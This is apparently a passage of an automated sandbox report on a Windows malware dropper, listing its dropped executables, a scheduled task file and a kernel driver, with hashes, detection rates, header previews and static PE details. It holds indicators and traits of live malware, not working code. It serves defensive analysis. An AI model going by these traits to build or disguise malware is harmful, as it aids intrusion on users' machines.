NBj.pR.M....../.i...>W.XFAE.....uT...l[......zB......?.D.Ol?.....y.W.....<....i.,..

C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7022080
Entropy (8bit):	7.764670062436655
Encrypted:	false
SSDEEP:	98304:8B3uSh5Xk0V3NO9uKdxJqjGK5LEGuxD8dTFyD3l4C/1sl/W4Yi5/MUJU:8B3l0+tExJqjzLEZwdxwaC/1GhYoMU
MD5:	1FB6BC61C7538FE32C88454B5082B7DC
SHA1:	F6EC44E48875F748BF904042B16A971F10718019
SHA-256:	0520AF236FF5B439C4A2922D70137B1B711CFC96224A5F979AB528EF232D74D2
SHA-512:	E3A96EE4D82C860F0B0A4224920ED0814A8D0480605CD6F9F346188716566FA5A369C4DA94F8BD644F4EE769DF714D80A791EC795489E9CD4A4EDA940B326F27
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bd.............Q......Q......Q.....H............... ..... ......Rich............................PE..L...^.Ha.................R....`..............p....@...........................k.......k...@.................................84k..............................`k..6..................................(.j.@............0k.8............................text....P.......R.................. ..`.data....._..p...p_..V..............@....idata.......0k.......j.............@..@.iDdNz..Q....Pk.......j.............@....reloc...6...`k..8....j.............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2qxqwa25.wjt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o25wukxc.kzk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_othia115.lpo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgajl4nz.bz2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\afasdfga.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	999936
Entropy (8bit):	7.924775390857932
Encrypted:	false
SSDEEP:	24576:1Ibj07xMVrpydHnnDfiDw8PZIykCu3oxmv2GX:1+ukYxDqnZTlns2
MD5:	902F14B6F32CC40A82D6A0F2C41208EC
SHA1:	C01E5BC3E9DBB84A5B36841045055999FC0A16CF
SHA-256:	81F91061C650C2D9FDEAB6A9D8BE220A93D46F930D5C435E4A00C511236A4CAA
SHA-512:	D55E184309E122FFBE3097BFB64B3E23829228CD16030DCA5856BFA1725BC60C2DA04BF04C8919CA658CA4B7B03E4BE6E6BC9240B5816903609969213BE2F97C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@F.f.................8...........V... ........@.. ....................................`..................................V..O....`............................................................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........{...................l...........................................0..........(......(......0..........s......\|..........(....,/.\|.... X...(....}.....\|....(....(....o....}.....\|....{....o....,I.\|....{....o...........s....(...+..,$.(...+.o.... 0...(.... .......o....&.(......0.................8.....(.....s...... ....(....(.... ....(....(....o.....s........s............io.....o.........,...o........,..o........,..o.......&....i.;w......4....N..c........D.-q..........

C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	999936
Entropy (8bit):	7.924775390857932
Encrypted:	false
SSDEEP:	24576:1Ibj07xMVrpydHnnDfiDw8PZIykCu3oxmv2GX:1+ukYxDqnZTlns2
MD5:	902F14B6F32CC40A82D6A0F2C41208EC
SHA1:	C01E5BC3E9DBB84A5B36841045055999FC0A16CF
SHA-256:	81F91061C650C2D9FDEAB6A9D8BE220A93D46F930D5C435E4A00C511236A4CAA
SHA-512:	D55E184309E122FFBE3097BFB64B3E23829228CD16030DCA5856BFA1725BC60C2DA04BF04C8919CA658CA4B7B03E4BE6E6BC9240B5816903609969213BE2F97C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@F.f.................8...........V... ........@.. ....................................`..................................V..O....`............................................................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........{...................l...........................................0..........(......(......0..........s......\|..........(....,/.\|.... X...(....}.....\|....(....(....o....}.....\|....{....o....,I.\|....{....o...........s....(...+..,$.(...+.o.... 0...(.... .......o....&.(......0.................8.....(.....s...... ....(....(.... ....(....(....o.....s........s............io.....o.........,...o........,..o........,..o.......&....i.;w......4....N..c........D.-q..........

C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	795648
Entropy (8bit):	7.478589132226232
Encrypted:	false
SSDEEP:	24576:aG18MH/r+RAIFqLN7/uW/Nau09jMxrc5N:3aMD+RANBKIJ09j
MD5:	006EDF0AC466164DDC9E0AC56474FE0A
SHA1:	EE9F512713AF63759F11279090D2C8004762735B
SHA-256:	D343EA857CDF97AA0CCFD14970425C6888BD216D36AD7F6255A044BED36A4B2A
SHA-512:	43305369FEA2DAD52D51BC9D5947A2F7E78D33BAADD07093C250B9EB1FD3762C511033BBFAE2B8D6EB52254306D137E29CD15E0B30B0F6D44A9D4F3D12B8B808
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................................F...............................Rich...................PE..L......e.................@..........~........P....@..........................0.......e.......................................f..<...................................................................c..@............P..h............................text....?.......@.................. ..`.rdata..L....P... ...D..............@..@.data........p.......d..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\QqF66CN9bArK9m6IP2NbWtmJ.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.002442248846949
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwSEBnNEr6VoFhBRZsLHVp628pbEHcLgAnb2jsKtgsg93wzRbKqD:J0+oxNEBnNRShBRa1rfAnb2jsKtgizRf
MD5:	765723742C4ECD4732968754BB00B518
SHA1:	346861E7B6329423EB5BDCF9037CE31B81114D17
SHA-256:	62B8C6A861C29FD530A2BD593137FFCEE945BACEA4502795CDE6A921BB1C87CA
SHA-512:	437914E5AFFE19B679C06D199A775EADE88BBC2DE72B0C7D5B79E272B916B1411458D4495A9B64CE478C9C92F546602A1212BA17BF5485CF90D8765172D63836
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<p>Additionally, a 400 Bad Request.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

C:\Users\user\Documents\piratemamm\_lM5B1R1YX9ZaZuPwFpgG4hn.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.002442248846949
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwSEBnNEr6VoFhBRZsLHVp628pbEHcLgAnb2jsKtgsg93wzRbKqD:J0+oxNEBnNRShBRa1rfAnb2jsKtgizRf
MD5:	765723742C4ECD4732968754BB00B518
SHA1:	346861E7B6329423EB5BDCF9037CE31B81114D17
SHA-256:	62B8C6A861C29FD530A2BD593137FFCEE945BACEA4502795CDE6A921BB1C87CA
SHA-512:	437914E5AFFE19B679C06D199A775EADE88BBC2DE72B0C7D5B79E272B916B1411458D4495A9B64CE478C9C92F546602A1212BA17BF5485CF90D8765172D63836
Malicious:	false
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<p>Additionally, a 400 Bad Request.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2984448
Entropy (8bit):	7.656454713101028
Encrypted:	false
SSDEEP:	49152:+qaUDr+obxLq3iaBwdxiMaxx1buynNoTugnzq3bZvTFTSXedTUDoCFRbH:1i3x13n+TuKz8bZv8XedyouRbH
MD5:	993F5FDF3BD55F35661293167E39649A
SHA1:	4DCA34FD078FAF357DBFB56181E2DBBACA2AE9D6
SHA-256:	21381B405BBB2D1AC38F1D908E0DC8A399FB2401D2ED1C1A300A2144626F9ADD
SHA-512:	04894447773CCCABAEEB7C05599EAB586376F54D3A9A482F21B3FA79B969E969E29BF5F2C55A36E4BDD433F763ED97926A632CD6B7D6CEEAD0EE75684B975F59
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.................P...+...........,.. ... ,...@.. ........................-...........@...................................,.O.... ,.......................-.......,.8............................................ ............... ..H............text.....+.. ....+................. ..`.rsrc........ ,.......+.............@..@.reloc........-.......-.............@..B..................,.....H........W...............O..`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r3..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7642866
Entropy (8bit):	7.996968145618235
Encrypted:	true
SSDEEP:	196608:91OjfO4ueQLmLK/lgw8+I8IPJJjxuMLaLPHau0NpVPMD:3OjfO4TQLmm/lSV8GJjzLaLSVpMD
MD5:	6685BAAC90C11334FF11841BFA22E61B
SHA1:	7A63AAF83540CE6FD2913B2A32BCB0E852F1B127
SHA-256:	76743AF80BFA6CA13E3E9944064141D1B700283EB5F89AA15B2DEE32D76CD2AF
SHA-512:	94764E1F3D65033295C57183A4BEDF158790D91BE88BE6BCBC8EB29F366877C55384A74F14B72328C8D40982FC9F00252CEBDB6E6F0625E45A72A0BB753A956E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	8533504
Entropy (8bit):	6.333671396191929
Encrypted:	false
SSDEEP:	49152:lFbWnXBu17RAV17vstEd7CmQqzuvrv59XNeV9e6kXKwD5EXhXwHxVFfMotNXiLfB:bWulTaQNNVD5cXqFhNjERbvNcrLho
MD5:	D4FCA59C99D8D70ACA5744D147E37C03
SHA1:	0ED1CF14ECE0B5569A0BDF35D4504B5EAA98A64D
SHA-256:	0014EC684F5A1063BDC5A9E87009EC8DD31D95624CD8B28907ADCBACCE1EAE76
SHA-512:	114C1E2286FF359DBCF8EB0363B9ACED4BEA5120B54C6BB60F169CE917400CA9FC998453D72F09CBE26E5D54CC613426BAB7626182A10953FBC3695ECD13A65B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..:..2.................@.....................................}....`... ...................................... ..N....0.......p..........tr..............(...............................(...................\|4..@............................text.....:.......:.................`.``.data........0:.......:.............@.`..rdata..0C@..P?..D@..0?.............@.`@.pdata..tr.......t...t..............@.0@.xdata..D.... .....................@.0@.bss.........0........................`..edata..N.... ......................@.0@.idata.......0......................@.0..CRT....p....P......................@.@..tls.........`......................@.@..rsrc........p......................@.0..reloc..(........ ..................@.0B................................................................................................................................

C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11083776
Entropy (8bit):	7.964818520008496
Encrypted:	false
SSDEEP:	196608:hdclOOMPjOF5YEbRubP8kf+43/lOBv63JYEYjen8rP9Ocx1ZNONC:POWjO89bER6lOBC3LYjen8rlh1vOI
MD5:	8447DBE44AA2EDE5D56341E0DC22F319
SHA1:	E49DBD51C770F207601E99C31F0B689083F7856A
SHA-256:	11128E278985BE292EC748D40794ED3B94392E540BE7F0B3C9A718A4FB4FC177
SHA-512:	1064114860F42A72D870F17A808FEF40E5299B628029F871BE2EC32C0D0EA887FEE4BA66B33EB328371B7811714038A861451CD8D3C270695720E9DF9D4FF199
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f..........#...................~........@.......................................... .....................................................<..........@...`*...........................................\|.(.......8............... ............................text...V........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..t.)......................... ..`.text1..X...........................@....text2..............................`..h.rsrc..............................@..@........................................................................................................................................................................................................................

C:\Windows\Tasks\bhigQxvKbgfszOKTET.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	3.5452895508542808
Encrypted:	false
SSDEEP:	12:Q3Z546Q1b1WGFc5d8RQ1bxlgm9+nV3lf:Q3Z5M5WXb9M
MD5:	84FA0B3BF14E58A7F165CFB870EDFB10
SHA1:	17EDAD93CB086F1955C774E8D6FF84D1E84B1BA8
SHA-256:	2D94F26D306C476A2E33BFF702E9DF8E6D5100ED8AE17BD79456D888094D4A4B
SHA-512:	5201FEFD558230DF8D450B57A87BCF5E708E800EDDA8288221B6C88E9A95FB9F2735A6099E1847685DBD60DAF65DCAA5C86FA050EF844F3B5DC665614CBD034D
Malicious:	false
Preview:	.........=uA..-O..7.F.......<... .....s...............................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.2.7.C.B...t.m.p.\.I.n.s.t.a.l.l...e.x.e.....k.d. ./.C.V.d.i.d.r. .5.2.5.4.0.3. ./.S...1.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.2.7.C.B...t.m.p.....E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................!.............................

C:\Windows\Temp\hbxzipnhyvsr.sys

Download File

Process:	C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\gpupdate.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.366220328806915
Encrypted:	false
SSDEEP:	3:gBgvKCGPE3UkEmdOO2AGN8cwwHBkEmdOO2AGN8cwow:guSFMEkErONGN83YkErONGN837
MD5:	EF6D648C3DA0518B784D661B0C0B1D3D
SHA1:	C5C5F6E4AD6C3FD8BE4313E1A7C2AF2CAA3184AD
SHA-256:	18C16D43EB823C1BC78797991D6BA2898ACA8EB2DE5FD6946BE880F7C6FBBEF5
SHA-512:	E1E0443CA2E0BAFAC7CBBFD36D917D751AC6BE2F3F16D0B67B43EEBD47D6A7C36F12423AFA95B6BF56E5AAD155675C3307EFC6E94F0808EB72EF27B093EADD67
Malicious:	false
Preview:	Updating policy.........Computer Policy update has completed successfully....User Policy update has completed successfully.......

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.940604382734485
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3QKcKCEzYP.exe
File size:	4'518'912 bytes
MD5:	7db3e0a15ff5d498fd56aab3ceb8b968
SHA1:	d16db762e8ca0fc4f82b12119fad118c5f386217
SHA256:	1e1bc32c5d4d0cae5310d34827be61eb087dc6aca7a7d767c77529b41e720a81
SHA512:	5c5a68a778ca037f49c3227ecfa574e71aee5fd720fc9e7c60282061f42bd9f118ef2409dd20d67edc84524ed5076a48aa10cb71b03d098f0aa788158b7352b4
SSDEEP:	98304:GD15kDUGG3RYoqQQVzIKy8vHZzIN7YjmLYHoBXn0YcqQQvXYeJy:GdpBpqxVzIKyK+eeDXn0bqQ5eJy
TLSH:	9B2622C53F8565F5C04AD3F8C250686CB0297B75DEF04BA5B5BC2A125DE39301EE22AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f.........."....'..............q........@......................................E...`................................

File Icon


Icon Hash:	1771ccccce6b2f0e

Static PE Info

General

Entrypoint:	0x14071f78c
Entrypoint Section:	.vmp/#D
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66B9BDA9 [Mon Aug 12 07:45:45 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d3467cb5eaf453087bf8f9b28a57ca3b

Entrypoint Preview

Instruction
inc ecx
push ebp
call 00007FE74D0FB891h
pushad
adc al, 07h
wait
or esp, 74h
or bl, 0000004Fh
or dword ptr [edi+64579B5Bh], 38h
loopne 00007FE74D19929Eh
mov esp, 5F971300h
jnp 00007FE74D19937Ah
fadd qword ptr [edx+37F3F004h]
inc ebx
adc edi, edi
or al, A8h
push esi
test al, DBh
or edx, dword ptr [edx-2272EB66h]
add al, F4h
mov byte ptr [B138ED02h], al
dec eax
fstp tbyte ptr [edx]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6af078	0xa0	.vmp/#D
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80c000	0x1ee2f	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x7ffb50	0xa224	.vmp/#D
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x80a000	0x1580	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3ffcc8	0x28	.vmp/#D
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7ffa10	0x140	.vmp/#D
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3db000	0x778	.vmp/#D
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11cf3e	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11e000	0x324f2	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x151000	0x84b8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x15a000	0x75e4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x162000	0x1f4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.vmp/#D	0x163000	0x277577	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp/#D	0x3db000	0xae8	0xc00	ee96d7658f0b0cb6b89921cf6caea12a	False	0.298828125	data	2.3672751651735053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp/#D	0x3dc000	0x42dd74	0x42de00	3b7f4cbaddb755ef1e0c7c7cc484d7ff	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x80a000	0x1580	0x1600	4b19c1e1e933499091a5c3efa93ecabe	False	0.19797585227272727	GLS_BINARY_LSB_FIRST	5.43717588566586	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x80c000	0x1ee2f	0x1f000	a8b3a2b46dbc3902b9d0c8a5c30a1e43	False	0.3304482736895161	data	5.005767236371027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x80c388	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	English	United States	0.6179078014184397
RT_ICON	0x80c7f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	English	United States	0.44301125703564725
RT_ICON	0x80d898	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	English	United States	0.37344398340248963
RT_ICON	0x80fe40	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	English	United States	0.3377420878601795
RT_ICON	0x814068	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.4488272921108742
RT_ICON	0x814f10	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6042418772563177
RT_ICON	0x8157b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.759393063583815
RT_ICON	0x815d20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.46099585062240667
RT_ICON	0x8182c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5227485928705441
RT_ICON	0x819370	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6604609929078015
RT_ICON	0x8197d8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	English	United States	0.27914645687921447
